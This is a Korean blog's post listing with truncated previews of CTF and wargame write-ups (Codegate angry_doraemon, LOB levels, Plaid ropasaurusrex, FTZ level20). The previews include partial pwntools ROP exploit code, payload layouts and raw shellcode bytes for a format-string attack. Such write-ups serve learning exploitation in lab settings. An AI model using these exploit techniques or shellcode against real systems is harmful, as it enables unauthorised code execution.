전체 글 (171) 썸네일형 리스트형 [Codegate 2014] angry_doraemon 메인함수 보면 소켓통신하는데 포트가 8888인걸 알 수있다. - Attack menu - 1.Sword 2.Screwdriver 3.Red-bean bread 4.Throw mouse 5.Fist attack 6.Give up메뉴는 다음과 같다. 1번 메뉴를 보면 execl("/bin/sh") 함수가 존재하고5번 메뉴에서 buf()가 있는걸 보고 해당 주소로 가게끔 하면 안되나 싶었는데 BYTE3(buf) != 8..즉 코드영역(0x08로 시작하는 주소)을 못덮게 막아놔서 이 부분은 fake라고 생각했다.천천히 살펴보면 4번 메뉴에 취약점이 있다. 해당 함수에서 카나리가 릭이 가능한데 일단 스택 구조를 먼저 살펴보면 아래와 같다.buf[10] + canary[4] + dummy[8] + sfp[4] + .. lob 20 1234567891011121314151617181920212223242526from socket import *import struct p = lambda x : struct.pack(" lob 18 plt를 이용하라는 문제다. 보면 strcpy로 오버플로우가 일어나는데 ret부분에 덮을 주소가 strcpy 주소여야한다.그 다음 ret+4 에 'AAAA'로 바꾼다.전에 lob 문제 풀때 보면 함수가 main, f1, f2, f3, f4, f5 이런식으로 있었는데 이 문제에서도 strcpy 때문에 오버플로우가 일어났었다. 버퍼가 40이라고 가정하고 "A"*44 + (f1 시작주소) + (f2 시작주소) + (f3 시작주소) + (f4 시작주소) + (f5 시작주소)이런식으로 payload 를 입력했는데 출력이 f1~5 함수 printf 내용이 다 출력되었다.gdb로 leave ret에다 브포 걸어놓고 si ni 명령어 이용해서 하나하나 i reg esp, i reg ebp 치면서 스택구조를 보았던게 도.. shellcode 정리 보호되어 있는 글입니다. Some ideas when creating problems 보호되어 있는 글입니다. 2018.02.18 보호되어 있는 글입니다. [Plaid 2013] ropasaurusrex 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import *from time import * p = process('./ropasaurusrex')elf=ELF('./ropasaurusrex') pppr = 0x80484b6offset = 0xf7ed5af0 - 0xf7e3ada0 #read - systembss = 0x8049628read_got = elf.got['read'] payload = "A"*140#bss system_addrpayload += p32(elf.plt['read'])payload += p32(pppr)payload += p32(0)payload += p32.. ftz level20 fgets 로 입력 문자열 제한을 걸어놨기 때문에 오버플로우는 불가능하다. 취약점이 터지는 부분은 바로 printf 부분이다.보통 printf 함수를 쓸때는 앞에 서식문자를 쓰고 뒤에 인자를 넣기 마련인데 해당 문제 printf함수를 보면 인자만 들어가있다.문제가 뭐냐면 만약 fgets로 입력받은 문자열에 서식문자(%x, %d등) 이 존재한다면 이를 문자열로 처리하지 않고 서식문자로 판단하게 된다.여기서 문제가 발생하는데 %n 서식문자를 사용하면 특정 메모리 주소에 값을 덮을 수 있다. 1. 환경변수 SHELL 등록 (export SHELL=$(python -c 'print \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\ x6e\x89\xe3\x50\x53\x89.. 이전 1 ··· 5 6 7 8 9 10 11 ··· 22 다음